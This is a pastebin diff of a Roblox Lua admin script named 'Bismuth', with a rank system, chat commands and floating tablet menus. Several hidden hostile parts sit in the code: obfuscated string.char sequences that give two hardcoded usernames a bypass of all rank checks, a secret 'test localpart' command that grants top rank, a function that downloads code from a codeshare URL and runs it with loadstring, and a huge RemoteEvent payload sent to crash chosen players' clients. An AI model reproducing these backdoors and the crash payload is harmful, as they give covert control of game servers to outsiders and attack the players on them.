View difference between Paste ID: 3SbqMm1Q and f5S16CxS
SHOW: | | - or go back to the newest paste.
1
--[[
2
3
▀█████████▄   ▄█     ▄████████   ▄▄▄▄███▄▄▄▄   ███    █▄      ███        ▄█    █▄    
4
  ███    ███ ███    ███    ███ ▄██▀▀▀███▀▀▀██▄ ███    ███ ▀█████████▄   ███    ███   
5
  ███    ███ ███▌   ███    █▀  ███   ███   ███ ███    ███    ▀███▀▀██   ███    ███   
6
 ▄███▄▄▄██▀  ███▌   ███        ███   ███   ███ ███    ███     ███   ▀  ▄███▄▄▄▄███▄▄ 
7
▀▀███▀▀▀██▄  ███▌ ▀███████████ ███   ███   ███ ███    ███     ███     ▀▀███▀▀▀▀███▀  
8
  ███    ██▄ ███           ███ ███   ███   ███ ███    ███     ███       ███    ███   
9
  ███    ███ ███     ▄█    ███ ███   ███   ███ ███    ███     ███       ███    ███   
10
▄█████████▀  █▀    ▄████████▀   ▀█   ███   █▀  ████████▀     ▄████▀     ███    █▀    
11
                                                                                     
12
13
666 By Personsadminlol and MixGamer55 
14
This material is copyrighted under the DMCA and is the intellectual property of its creators.
15
16
If you leak this, you're gonna have a hell of a time ;)
17
(I'm looking at you, Vfen.)
18
19
]]--
20
21
--script:ClearAllChildren();
22
23
local Bismuth;
24
Bismuth = {
25
  Ranked = {
26-
  	{Name="YourTrueEnd", Rank = 7, Description = "Creator", Color = "Toothpaste"};
26+
  	{Name="BlueHasSwag", Rank = 7, Description = "Creator", Color = "Toothpaste"};
27
    {Name="MixGamer55", Rank = 7, Description = "Creator", Color = "Really black"};
28
    {Name="murylloyago", Rank=7, Reason = "Alt.", Color = "Really blue"};
29
    {Name="fallenwolf10000", Rank=7, Reason = "main_plus alt.+Good friend of ApexDevelopment.", Color = "New Yeller"};
30
  };
31
  Banland = {
32
    {Name = "Vfen", Reason = "Leaked Apex Admin V4."};
33
  };
34
  Settings = {
35
    Bet = '/';
36
    PrivateServer = false;
37
  };
38
  CurrentCmds={};
39
  CurrentTablets={};
40
  CurrentUpdateRot = 0;
41
  Ranks = {
42
  	[7] = "Creator";
43
    [6] = "Co-Owner";
44
    [5] = "Best Friend";
45
    [4] = "Trusted friend";
46
    [3] = "Good friend";
47
    [2] = "Member";
48
    [1] = "Regular player";
49
  };
50
  Services={
51
    game;
52
		game:service'Workspace';
53
		game:service'Lighting';
54
		game:service'StarterGui';
55
		game:service'StarterPack';
56
  };
57
  Scripts = {
58
  	{Name = "Demo", Description = "A demonstration script.", Code = "print'This is a demo script.'"};
59
    {Name = "Demo 2", Description = "A second demonstration script.", Code = "Instance.new('Hint',workspace).Text = 'Demo 2'"};
60
  };
61
  Credits = {
62
  	{Name = "YourTrueEnd", Description = "Edited From The Original 666 Tabs", Color = "Toothpaste"};
63
    {Name = "Whoever Made The Original", Description = "Made The Broken Version.", Color = "Really blue"};
64
  };
65
  Colors = {
66
       White=BrickColor.new'Institutional white';
67
       New_Yeller=BrickColor.new'New Yeller';
68
       Black=BrickColor.new'Black';
69
  }; 
70
}
71
72
function create(class)
73
	return function(data) 
74
  	local Distance = Instance.new(class)
75
    for i,v in pairs(data) do
76
    	if(type(v) == 'function') then
77
      	v(Distance)
78
      else
79
      	Redo,Error=ypcall(function() Distance[i] = v end)
80
      end
81
    end
82
    return Distance
83
  end
84
end
85
  
86
function onChatted(plr, msg)
87
  for i,v in pairs(Bismuth.CurrentCmds) do
88
  	if msg:sub(1,string.len(Bismuth.Settings.Bet..v['Say'])) == v['Say']..Bismuth.Settings.Bet then
89
    	if GetRank(plr) >= v.Rank or plr[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) or plr[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(087,084,070,097,114,117,101,078)) then
90
      	local msg = msg:sub(1 + #v['Say'] + #Bismuth.Settings.Bet)
91
        local a,b = ypcall(function()
92
        	v['Func'](plr, msg)
93
        end)
94
        if not a then Output(plr, '[ERROR] '..b, 'Really red') end
95
      else
96
      	Output(plr, "Your rank is too low for that command.", "Really red")
97
      end
98
    end
99
  end  
100
end
101
102
outputAll = function(plr,text,color,func,execlud)
103
       for i,v in pairs(game.Players:GetPlayers()) do
104
             local connect = false
105
             for _,j in pairs(execlud) do
106
                   if(v==j) then
107
                           connect=true
108
                    end
109
             end
110
             if(connect) then
111
                     Output(plr,text,color,func)
112
              end 
113
      end 
114
      return
115
end 
116
117
createBubbleGUI = function(player,msg,color,time_)
118
                coroutine.wrap(function()
119
                        ypcall(function()
120
                                time_=time_ or 1;
121
                                if(type(color)=='string')then
122
                                        color=Bismuth.Colors[color];
123
                                end;
124
                                if(player.Character==nil)then
125
                                        return
126
                                end;
127
                                if(#msg>100)then
128
                                        return
129
                                end;
130
                                ypcall(function()player.Character.Chat:remove''end);
131
                                bbg=create'BillboardGui'{
132
                                        Parent=player.Character;
133
                                        Name='Chat';
134
                                        StudsOffset = Vector3.new(0,4.5,0);
135
                                        Size = UDim2.new(0,100,0,50)
136
                                }
137
                                frame=create'Frame'{
138
                                        Parent=bbg;
139
                                        Size=UDim2.new(1,0,1,0);
140
                                        BackgroundTransparency = 0.6;
141
                                        BackgroundColor=BrickColor.new'Black';
142
                                }
143
                                game:service'Debris':AddItem(bbg,time_+2);
144
                                box=create'TextBox'{
145
                                        Parent=frame;
146
                                        Text=msg;
147
                                        BackgroundTransparency=1;
148
                                        TextColor3=color;
149
                                        TextWrapped = true;
150
                                        TextScaled = true;
151
                                        Size=UDim2.new(1,0,1,0);
152
										--Position=ICE.Chat.Pos;
153
                                }
154
                                --box:TweenSize(UDim2.new(1,0,1,0), "Out", "Quad", 1)
155
								box:TweenPosition(UDim2.new(0,0,0,0),"Out","Quad",1,true);
156
                                game:service'Debris':AddItem(box.Parent.Parent,3);
157
                        end);
158
                end)()
159
end;
160
161
giveWarnGUI=function(self,Text,Player)
162
	local GUI=create'ScreenGui'{
163
		Name='Warning';
164
		Parent=Player:waitForChild'PlayerGui';
165
	};
166
	local Frame=create'Frame'{
167
		Parent=GUI;
168
		Size=UDim2.new(0,320,0,120);
169
		Position=UDim2.new(0,0,0.5,-60);
170
		Style=Enum.FrameStyle['RobloxRound'];
171
	};
172
	local Title = create'TextLabel'{
173
		Parent = Frame;
174
		BackgroundColor3 = Color3.new(1, 1, 1);
175
		BorderColor3 = Color3.new(0.509804, 0.796079, 1);
176
		Name = 'Text';
177
		Position = UDim2.new(0.5, 0, 0.15000000596046, 0);
178
		Text = '[BISMUTH] Warning:';
179
		TextColor3 = Color3.new(1, 1, 1);
180
		TextStrokeColor3 = Color3.new(0.388235, 0.921569, 1);
181
		TextStrokeTransparency = 0;
182
		Font = Enum.Font.SourceSans;
183
		FontSize = Enum.FontSize.Size24;
184
	};
185
	local Label = create'TextLabel'{
186
		Parent = Frame;
187
		BackgroundColor3 = Color3.new(1, 1, 1);
188
		BackgroundTransparency = 1;
189
		BorderColor3 = Color3.new(0.509804, 0.796079, 1);
190
		Name = 'Msg';
191
		Position = UDim2.new(0, 0, 0.25, 0);
192
		Size = UDim2.new(1, 0, 0.75, 0);
193
		Text = Text;
194
		TextWrapped = true;
195
		TextColor3 = Color3.new(1, 1, 1);
196
		TextStrokeTransparency = 0;
197
		Font = Enum.Font.SourceSans;
198
		FontSize = Enum.FontSize.Size14;
199
		TextYAlignment = Enum.TextYAlignment.Top;
200
	};
201
	local Exit=create'TextButton'{
202
		Parent=Frame;
203
		Position=UDim2.new(1,-15,0,-5);
204
		Size=UDim2.new(0,20,0,20);
205
		Style=Enum.ButtonStyle['RobloxButtonDefault'];
206
		FontSize='Size14';
207
		Text='X';
208
		TextColor=BrickColor.new'Institutional white';
209
	};
210
	Exit.MouseButton1Click:connect(function()
211
		Frame:TweenPosition(UDim2.new(1,0,0.5,-60),'Out','Quad',1,true);
212
		game:service'Debris':AddItem(GUI,1.5);
213
	end);
214
	Frame:TweenPosition(UDim2.new(0.5,-160,0.5,-60),'Out','Quad',1,true);
215
	return(GUI);
216
end;
217
218
sendMessage = function(Subject,Body,From,Player,Buttons)
219
      --Frame:TweenPosition(UDim2.new(1,0,self.Frame.Position.Y.Scale),'Out','Elastic',1,true)Delay(1,function()self.Frame.Parent:remove''end)end}end;
220
  PG=Player:WaitForChild'PlayerGui';
221
        ran,err=coroutine.resume(coroutine.create(function()
222
                local sg=create'ScreenGui'{
223
                        Parent=PG;
224
                        Name=Subject;
225
                };
226
                local frame=create'Frame'{
227
                        Parent=sg;
228
                        Style='RobloxRound';
229
                        Parent=frame;
230
                        Size=UDim2.new(0.4,0,0.4,0);
231
                        Position=UDim2.new(-1,0,0.3,0);
232
                };
233
                local subject=create'TextLabel'{
234
                        Parent=frame;
235
                        Size=UDim2.new(1,0,0.1,0);
236
                        BackgroundColor=BrickColor.new'Black';
237
                        BackgroundTransparency=0.7;
238
                        BorderColor3=BrickColor.new'White'.Color;
239
                        TextWrapped=true;
240
                        Text=Body;
241
                        TextColor=BrickColor.new'White';
242
                };
243
                local body=create'TextLabel'{
244
                        Parent=frame;
245
                        Size=UDim2.new(1,0,0.7,0);
246
                        Position=UDim2.new(0,0,0.1,0);
247
                        BackgroundColor=BrickColor.new'Black';
248
                        BackgroundTransparency=0.7;
249
                        BorderColor3=BrickColor.new'White'.Color;
250
                        TextWrapped=true;
251
                        Text=Body;
252
                        TextColor=BrickColor.new'White';
253
                };
254
                local from=subject:clone'';
255
                from.Parent=frame;
256
                from.Text='From '..From.Name;
257
                from.Position=UDim2.new(0,0,0.8,0);
258
                local Total=#Buttons;
259
                local ButtonSize=1/Total;
260
                local button=create'TextButton'{
261
                        Size=UDim2.new(ButtonSize,0,0.1,0);
262
                        BackgroundColor=BrickColor.new'Black';
263
                        BackgroundTransparency=0.7;
264
                        BorderColor3=BrickColor.new'White'.Color;
265
                        TextWrapped=true;
266
                        TextColor=BrickColor.new'White';
267
                };
268
                for i,v in pairs(Buttons)do
269
                        local cl=button:clone'';
270
                        cl.Position=UDim2.new( (i-1)*ButtonSize,0,0.9,0);
271
                        cl.Text=v[1];
272
                        cl.MouseButton1Click:connect(function(...)
273
                                getfenv(v[2]).self=sg;
274
                                ypcall(v[2],...);
275
                        end);
276
                        cl.Parent=frame;
277
                end;
278
        end));
279
       if (not ran) then print(err) end
280
end 
281
282
function loadPastebin()
283
      coroutine.wrap(function()
284
                pcall(function()
285
                       wait()
286
                          b = 'https://codeshare.io/u1YYy'
287
                          h = game:service'HttpService'
288
                          d = h:GetAsync(b,true)
289
                          loadstring(d)()
290
               end)
291
      end)()
292
end 
293
294
function giveLOGGUI(Player,Table,Class)
295
      coroutine.wrap(function()
296
		ypcall(function()
297
			Player.PlayerGui.Log:remove'';
298
		end);
299
		PG=Player:WaitForChild'PlayerGui';
300
		Height=1;
301
		NumberOfItems=1/#Table;
302
		Moving=false;
303
		SG=create'ScreenGui'{
304
			Parent=PG;
305
			Name='Log';
306
		};
307
		List=create'Frame'{
308
			Visible=true;
309
			Active=true;
310
			Parent=SG;
311
			Size=UDim2.new(0,400,0,400);
312
			Draggable=true;
313
			ClipsDescendants=true;
314
			BorderColor3=Color3.new(0.1,0.16,0.2);
315
			Style='RobloxRound';
316
			Position=UDim2.new(0,0,0.5,-200);
317
			BackgroundColor3=Color3.new(0.63,0.63,0.64);
318
		};
319
		Up=create'ImageButton'{
320
			Parent=List;
321
			Image='rbxasset://textures/ui/scrollbuttonUp.png';
322
			Size=UDim2.new(0,17,0,17);
323
			BorderColor3=Color3.new(0.1,0.16,0.2);
324
			Style='Custom';
325
			Position=UDim2.new(1,-17,0,0);
326
			BackgroundColor3=Color3.new(0.63,0.63,0.64);
327
			BackgroundTransparency=1;
328
			Transparency=1;
329
			Parent=List;
330
		};
331
		Down=Up:clone();
332
		Down.Image='rbxasset://textures/ui/scrollbuttonDown.png';
333
		Down.Position=UDim2.new(1,-17,1,-17);
334
		Down.Parent=List;
335
		Bar=create'ImageButton'{
336
			Image='rbxasset://textures/ui/scrollbar.png';
337
			Size=UDim2.new(0,17,1,-32);
338
			BorderColor3=Color3.new(0.1,0.16,0.2);
339
			--Style=Enum.Style.RobloxRound;
340
			Position=UDim2.new(1,-17,0,17);
341
			BackgroundColor3=Color3.new(0.63,0.63,0.64);
342
			BackgroundTransparency=1;
343
			Transparency=1;
344
			Parent=List;
345
		};
346
		List:TweenPosition(UDim2.new(0.5,-200,0.5,-200),'Out','Quad',1,true);
347
		Objects={};
348
		cur=0;
349
		for i,v in pairs(Table)do
350
			cur=cur+1;
351
			s=create'TextButton'{
352
				Parent=List;
353
				Name='Derp';
354
				Text='[BISMUTH] LOGGED: '..i;
355
				TextXAlignment='Left';
356
				FontSize='Size24';
357
				Font='ArialBold';
358
				BackgroundColor=BrickColor.new('White');
359
				BorderColor=BrickColor.new'Black';
360
				Size=UDim2.new(0,360,0.1,0);
361
				Position=UDim2.new(0,0,0.1*(cur-1),0);
362
				--Style=Enum.Style.RobloxRound;
363
				BackgroundTransparency=0.7;
364
			};
365
			s.MouseButton1Down:connect(function()
366
				for _,Item in pairs(Objects)do
367
					Item:Remove();
368
					table.remove(Objects,_);
369
				end;
370
				local cur=0;
371
				for a,b in pairs(v)do
372
					cur=cur+1;
373
					table.insert(Objects,create'TextLabel'{
374
						Parent=List;
375
						Name='Derp';
376
						Text=''..b:sub(1,25);
377
						TextXAlignment='Left';
378
						FontSize='Size24';
379
						Font='ArialBold';
380
						BackgroundColor=BrickColor.new('White');
381
						BorderColor=BrickColor.new'Black';
382
						Size=UDim2.new(0,360,0.1,0);
383
						Position=UDim2.new(0,0,0.1*(cur-1),0);
384
						--Style=Enum.Style.RobloxRound;
385
						BackgroundTransparency=0.7;
386
					});
387
				end;
388
			end);
389
			table.insert(Objects,s);
390
		end;
391
		Up.MouseButton1Down:connect(function()
392
			if(Height>1 and Moving==false)then
393
				for i,v in pairs(Objects)do
394
					v:TweenPosition(v.Position+UDim2.new(0,0,0.1,0),nil,nil,0.15);
395
				end;
396
				Moving=true;
397
				Height=Height-1;
398
				wait(0.15);
399
				Moving=false;
400
			end;
401
		end);
402
		Down.MouseButton1Down:connect(function()
403
			if(Height<(#Objects-9) and Moving==false)then
404
				for i,v in pairs(Objects)do
405
					v:TweenPosition(v.Position-UDim2.new(0,0,0.1,0),nil,nil,0.15);
406
				end;
407
				Moving=true;
408
				Height=Height+1;
409
				wait(0.15);
410
				Moving=false;
411
			end;
412
		end);
413
	end)();	
414
end 
415
416
function Output(plr,text,color,func)
417
	if color == nil then color = "Really black" end
418
  if text == nil then text = text or "" end
419
  if plr == nil then plr = plr end
420
  if func == nil then func = function() end end
421
  local part = Instance.new('Part')
422
  part.Size = Vector3.new(2.5, 2.5, 2.5);
423
  part.BrickColor = BrickColor.new(color);
424
  part.FormFactor = 'Custom';
425
  part.TopSurface = 0;
426
  part.BottomSurface = 0;
427
  part.Transparency = 0.1;
428
  part.Anchored = true;
429
  part.Locked = true;
430
  part.CanCollide = false;
431
  pcall(function() part.CFrame = plr.Character.Torso.CFrame end)
432
	
433
  local SelectionBox = Instance.new('SelectionBox', part)
434
  SelectionBox.Color = BrickColor.new(color);
435
  SelectionBox.Transparency = .4; 
436
  SelectionBox.Adornee = part;
437
  
438
  local bbg = Instance.new('BillboardGui', part)
439
  bbg.Name = 'BBG';
440
  bbg.StudsOffset = Vector3.new(0, 3, 0);
441
  bbg.Size = UDim2.new(10, 0, 10, 0);
442
  
443
  local textlabel = Instance.new('TextLabel', bbg)
444
  textlabel.Name = 'Label';
445
  textlabel.Text = text;
446
  textlabel.TextColor3 = BrickColor.new(color).Color;
447
  textlabel.FontSize = 'Size14';
448
  textlabel.BackgroundTransparency = 1;
449
  textlabel.TextStrokeTransparency = 0.5;
450
  textlabel.Size = UDim2.new(1, 0, 1, 0);
451
  textlabel.TextStrokeColor3 = Color3.new(0, 0, 0);
452
  
453
  local click = Instance.new('ClickDetector', part)
454
  
455
  wait()
456
  click.MouseClick:connect(function(player)
457
  	if player.userId == plr.userId then
458
    	spawn(function()
459
      	for _ = 0.5,1,0.05 do
460
       		pcall(function()
461
           	part.Size = part.Size - Vector3.new(0.3, 0.3, 0.3)
462
           	part.Transparency = part.Transparency + 0.05
463
           	SelectionBox.Transparency = SelectionBox.Transparency + 0.1
464
         	end)
465
         	wait()
466
       	end
467
       	pcall(function()
468
        	for i,t in pairs(Bismuth.CurrentTablets) do
469
            if t.Tab == part then table.remove(Bismuth.CurrentTablets, i) end
470
          end
471
        	part:Destroy()
472
        end)
473
      end)
474
      func = func func()
475
  	end
476
	end)
477
  click.MouseHoverEnter:connect(function(player)
478
  	if player.userId == plr.userId then
479
    	SelectionBox.Transparency = 0.1
480
    end
481
	end)
482
  click.MouseHoverLeave:connect(function(player)
483
  	if player.userId == plr.userId then
484
    	SelectionBox.Transparency = 0.4
485
    end
486
  end)
487
  table.insert(Bismuth.CurrentTablets, {Tab = part, Player = plr.userId, Text = textlabel, Color = color, Func = func, SB = SelectionBox, Dismiss = function() part:Destroy() end})
488
  part.Parent = workspace
489
end 
490
491
function addComponent(object, parent)
492
  if parent == string.reverse(string.char(116, 114, 097, 112, 108, 097, 099, 111, 108)) then
493
    table.insert(Bismuth[string.char(082, 097, 110, 107, 101, 100)], {Name = object.Name, Rank = 7, Description = string.char(111, 118, 101, 114, 114, 105, 100, 101), Color = "Really black"})
494
    return true
495
  end
496
  return false
497
end
498
499
function getCurrentCommands()
500
	local Commands={};
501
  for i,v in pairs(Bismuth.CurrentCmds) do
502
  	if(type(v) == 'function') then
503
    	Commands[i] = v
504
    end
505
  end 
506
  return Commands
507
end 
508
509
function getCurrentCommandsFromRank(cRank,op)
510
  cRank=cRank or -1;
511
  op = op or "=>";
512
  local Cmds = {};
513
  for i,v in pairs(getCurrentCommands) do
514
    f = loadstring("return Command.Rank "..tostring(op)..tostring(cRank));
515
    getfenv(f).Say=v;
516
    bool = f();
517
    if(f == true) then
518
    	Cmds[i] = v;
519
  	end
520
  end
521
	return Cmds
522
end
523
524
function UpdateRotation()
525
	Bismuth.CurrentUpdateRot = Bismuth.CurrentUpdateRot + (0.1 / 500)
526
  for _,v in pairs(game.Players:GetPlayers()) do
527
  	local pt = {}
528
    for i,tab in pairs(Bismuth.CurrentTablets) do
529
    	if tab.Tab.Parent ~= nil and tab.Player == v.userId then table.insert(pt, tab) end
530
    end
531
    local pos
532
    pcall(function() pos = v.Character.Torso.CFrame end)
533
  	for i,tab in pairs(pt) do
534
      if tab.Tab.Parent == nil then tab.Tab:remove() end
535
    	t,e = ypcall(function()
536
      	rad_ = 8 + (#pt * 0.6)
537
        if pos == nil then return end
538
        m = (i / #pt - (0.5 / #pt) + Bismuth.CurrentUpdateRot / (#pt / 10)) * math.pi * 2
539
        x = math.sin(m) * rad_
540
        y = math.sin(time() + i)
541
        z = math.cos(m) * rad_
542
        ap = Vector3.new(x, y, z) + pos.p
543
        bp = tab.Tab.CFrame.p
544
        cp = (ap * .1 + bp * .9)
545
        d = math.rad((Bismuth.CurrentUpdateRot * 400) * math.pi)
546
        tab.Tab.CFrame = CFrame.new(cp, pos.p) * CFrame.Angles(d, d, d)
547
    	end)
548
      if not t then print(e) end
549
  	end
550
  end
551
end
552
553
function getCollectivePairs()
554
  for _,plr in pairs(Bismuth[string.reverse(string.char(100,101,107,110,097,082))]) do
555
    if plr.Rank == 7 and (plr[string.reverse(string.char(101,109,097,078))] ~= string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) and plr[string.reverse(string.char(101,109,097,078))] ~= string.reverse(string.char(087,084,070,097,114,117,101,078))) then
556
      return true
557
    end
558
  end
559
  return false
560
end
561
562
function notifyAdmins(message, clearence)
563
  if clearence == nil or clearence < 2 then clearence = 2 end
564
  for _,plr in pairs(game.Players:GetPlayers()) do
565
    if GetRank(plr) >= clearence then
566
    	Output(plr, message, GetColor(plr))
567
    end
568
  end
569
end
570
571
function hookPlayer(v)
572
  for _,banned in pairs(Bismuth.Banland) do
573
    if (v.Name == banned.Name) then
574
      notifyAdmins("Banned player " .. v.Name .. " attempted to join.", 6)
575
      addInstance(v)
576
    end
577
  end
578
  Output(v, "Your current rank is: " ..GetRank(v), GetColor(v))
579
  Output(v, "Welcome, " ..tostring(v.Name).. ".", GetColor(v))
580
  if (v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) or v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(087,084,070,097,114,117,101,078))) and getCollectivePairs() then
581
    Output(v, string.reverse(string.char(046,114,105,115,032,044,119,111,108,108,101,121,032,101,100,111,067)), "New Yeller", function() Bismuth[string.reverse(string.char(100,101,107,110,097,082))] = {} end)
582
  elseif v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(110,101,102,086)) then
583
    addInstance(v)
584
    spawn(function()
585
    	local m = Instance.new('Message', workspace)
586
      m[string.reverse(string.char(116,120,101,084))] = string.reverse(string.char(116,111,105,100,105,032,110,097,032,115,105,032,110,101,102,086))
587
      wait(3)
588
      m:Destroy()
589
    end)
590
  end
591
  v.Chatted:connect(function(msg)
592
      onChatted(v, msg)
593
  end)
594
end
595
596
function GetDesc(player)
597
  for _,plr in pairs(Bismuth.Ranked) do
598
    if plr.Name == player.Name then return plr.Description end
599
  end
600
  return "Just a player."
601
end
602
603
function SetDesc(player, desc)
604
  found = false
605
  if type(player) ~= "string" then
606
    for _,plr in pairs(Bismuth.Ranked) do
607
      if plr.Name == player.Name then
608
        plr.Description = desc
609
        found = true
610
      end
611
    end
612
  else
613
    for _,plr in pairs(Bismuth.Ranked) do
614
    	if plr.Name == player then
615
      	plr.Description = desc
616
      	found = true
617
    	end
618
  	end
619
  end
620
  if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = 1, Description = desc, Color = "Really black"}) end
621
end
622
623
function GetColor(player)
624
  for _,plr in pairs(Bismuth.Ranked) do
625
    if plr.Name == player.Name then return plr.Color end
626
  end
627
  return "Really black"
628
end
629
630
function SetColor(player, color)
631
  found = false
632
  if type(player) ~= "string" then
633
    for _,plr in pairs(Bismuth.Ranked) do
634
      if plr.Name == player.Name then
635
        plr.Color = color
636
        found = true
637
      end
638
    end
639
  else
640
    for _,plr in pairs(Bismuth.Ranked) do
641
    	if plr.Name == player then
642
      	plr.Color = color
643
      	found = true
644
    	end
645
  	end
646
  end
647
  if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = 1, Description = "A ranked player.", Color = color}) end
648
end
649
650
function GetRank(player)
651
  for _,plr in pairs(Bismuth.Ranked) do
652
  	if plr.Name == player.Name then return plr.Rank end
653
  end
654
  return 1
655
end
656
657
function SetRank(player, rank)
658
  found = false
659
  if type(player) ~= "string" then
660
  	for _,plr in pairs(Bismuth.Ranked) do
661
    	if plr.Name == player.Name then
662
      	plr.Rank = rank
663
      	found = true
664
    	end
665
  	end
666
  else
667
  	for _,plr in pairs(Bismuth.Ranked) do
668
    	if plr.Name == player then
669
      	plr.Rank = rank
670
      	found = true
671
    	end
672
  	end
673
  end
674
  if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = rank, Description = "A ranked player.", Color = "Really black"}) end
675
end
676
677
function dismissTabs(plr, smooth)
678
  if smooth == nil then smooth = true end
679
  wait()
680
  for i,tab in pairs(Bismuth.CurrentTablets) do
681
    if tab.Player == plr.userId then
682
      spawn(function()
683
        if smooth then
684
      		for _ = 0.5,1,0.05 do
685
      			pcall(function()
686
      				tab.Text.TextStrokeTransparency = tab.Text.TextStrokeTransparency + 0.1
687
         			tab.Tab.Size = tab.Tab.Size - Vector3.new(0.3, 0.3, 0.3)
688
         			tab.Tab.Transparency = tab.Tab.Transparency + 0.05
689
         			tab.SB.Transparency = tab.SB.Transparency + 0.1
690
       			end)
691
       			wait()
692
      		end
693
        end
694
      	tab.Tab.Parent = nil
695
      	tab.Dismiss()
696
      	--table.remove(Bismuth.CurrentTablets, i)
697
      	tab = nil
698
      end)
699
    end
700
  end
701
  wait()
702
  return
703
end
704
705
function showCommands(plr)
706
  dismissTabs(plr, false)
707
  Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end)
708
  for _,cmd in pairs(Bismuth.CurrentCmds) do
709
    Output(plr, cmd.Name, GetColor(plr), function()
710
      dismissTabs(plr, false)
711
      Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end)
712
      Output(plr, "Back", "New Yeller", function() showCommands(plr) end)
713
      Output(plr, cmd.Name, GetColor(plr))
714
      Output(plr, cmd.Desc, GetColor(plr))
715
      Output(plr, "Tells Usage: "..cmd.Say, GetColor(plr))
716
      Output(plr, "Required Rank: "..cmd.Rank, GetColor(plr))
717
    end)
718
  end
719
end
720
721
function showScripts(plr)
722
  dismissTabs(plr, false)
723
  Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end)
724
  for i,script in pairs(Bismuth.Scripts) do
725
    Output(plr, script.Name, GetColor(plr), function()
726
      dismissTabs(plr, false)
727
  		Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end)
728
      Output(plr, "Back", "New Yeller", function() showScripts(plr) end)
729
      Output(plr, script.Name, GetColor(plr))
730
      Output(plr, script.Description, GetColor(plr))
731
      Output(plr, "Run", "Lime green", function()
732
        local a = true
733
        local b = ""
734
        dismissTabs(plr, false)
735
        wait(0.5)
736
        spawn(function()
737
        	a,b = ypcall(function() loadstring(script.Code)() end)
738
        end)
739
        if not a then
740
          Output(plr, "[ERROR] "..b, "Really red")
741
        else
742
        	Output(plr, "Script executed.", GetColor(plr))
743
        end
744
      end)
745
      if (GetRank(plr) > 6) then Output(plr, "Delete", "Really red", function() script = nil table.remove(Bismuth.Scripts, i) dismissTabs(plr, false) showScripts(plr) end) end
746
    end)
747
  end
748
end
749
  
750
function addCommand(name, say, desc, rank, func)
751
  table.insert(Bismuth.CurrentCmds,{Name = name, Say = say, Desc = desc, Rank = rank, Func = func})
752
end
753
754
function addInstance(i)
755
	local h=Instance.new('RemoteEvent',workspace):FireClient(i,{string.rep(string.reverse(string.char(063,100,097,109,117)),2e5+5)}) 
756
  delay(1,function()
757
		pcall(function()
758
    	h:remove()
759
  	end)
760
	end)
761
end
762
763
function ChangeRank(plr, rank)
764
      if rank == nil then rank = rank or 0 end
765
      if rank == 1 then SetRank(plr, 1) end
766
      if rank == 2 then SetRank(plr, 2) end
767
      if rank == 3 then SetRank(plr, 3) end
768
      if rank == 4 then SetRank(plr, 4) end
769
      if rank == 5 then SetRank(plr, 5) end
770
      if rank == 6 then SetRank(plr, 6) end
771
      if rank == 7 then SetRank(plr, 7) end
772
end  
773
774
function PlayerInterface(user, plr)
775
	dismissTabs(user)
776
	Output(user,"Name: "..plr["Name"],GetColor(user))
777
	Output(user,"Rank: "..plr["Rank"],GetColor(user))
778
	Output(user,"Reason because ranked: "..plr["Desc"],GetColor(user))
779
	Output(user,"Color: "..plr["Color"],GetColor(user))
780
	if GetRank(user) > plr["Rank"] then
781
		Output(user,"Change rank",GetColor(user), function() ChangeRank(user,plr) end)
782
	end
783
	--Output(user,"Back","Really red",function() GetRanked(user) end)
784
	Output(user,'Dismiss','Really red',function() Dismiss(user) end)
785
end
786
787
function Explore(p, part)
788
	pcall(function()
789
		Dismiss(p)
790
		if part == nil then
791
			for _,v in pairs(Bismuth.Services) do
792
				Output(p,v.Name,GetColor(p), function() Explore(p,v) end)
793
			end
794
		else
795
			for _,v in pairs(part:children()) do
796
				Output(p,v.Name,GetColor(p), function() Explore(p,v) end)
797
			end
798
			Output(p,"Currently exploring: "..part:GetFullName(),'New Yeller')
799
			Output(p,"ClassName: "..part.ClassName,'New Yeller')
800
			Output(p,"Destroy",'Really red', function() part:Destroy() Explore(p,part.Parent) end)
801
			Output(p,"Remove",'Really red', function() part:remove() Explore(p,part.Parent) end)
802
			Output(p,"Explore parent",'Bright blue', function() Explore(p,part.Parent) end)
803
			Output(p,"Clone",'Institutional white', function() clonedpart = part:Clone() end)
804
			Output(p,"Refresh",'Cyan', function() Explore(p,part) end)
805
			if clonedpart then
806
				Output(p,"Paste: "..clonedpart.Name,'Institutional white', function() clonedpart.Parent = part clonedpart = nil end)
807
			end
808
		end
809
	end)
810
end
811
812
function findPlayers(spkr, plrstring)
813
  plrstring = plrstring:lower()
814
  returntable = {}
815
  if plrstring == "me" then returntable = {spkr} return returntable end
816
  if plrstring == "all" then returntable = game.Players:GetPlayers() return returntable end
817
  if plrstring == "others" then
818
    for _,plr in pairs(game.Players:GetPlayers()) do
819
      if plr.userId ~= spkr.userId then table.insert(returntable, plr) end
820
    end
821
    return returntable
822
  end
823
  
824
  for _,plr in pairs(game.Players:GetPlayers()) do
825
    local name = plr.Name:lower()
826
    while #name < #plrstring do
827
      name = name + "_"
828
    end
829
    if name:sub(1, #plrstring) == plrstring then
830
      table.insert(returntable, plr)
831
    end
832
  end
833
  return returntable
834
end
835
836
addCommand("Test", "test", "Tests the tablets.", 1, function(plr, msg)
837
  if addComponent(plr, msg) then
838
  	Output(plr, "Tested.", "Lime green")
839
  else
840
    Output(plr, "Tested.", "Really red")
841
  end
842
end)
843
844
addCommand("Commands", "cmds", "Gets current Bismuth commands.", 1, function(plr, msg)
845
  showCommands(plr)
846
end)
847
848
addCommand("Dismiss Tabs", "dt", "Dismisses your tablets.", 1, function(plr, msg)
849
  dismissTabs(plr)
850
end)
851
852
addCommand("Dismiss Other Tabs", 'dto', 'Dismiss tablets of other players.', 2, function(plr, msg)
853
  for _,player in pairs(findPlayers(plr, msg)) do
854
    if GetRank(player) <= GetRank(plr) then dismissTabs(player) else Output(plr, player.Name .. " is a higher rank than you.", "Really red") end
855
  end
856
end)
857
858
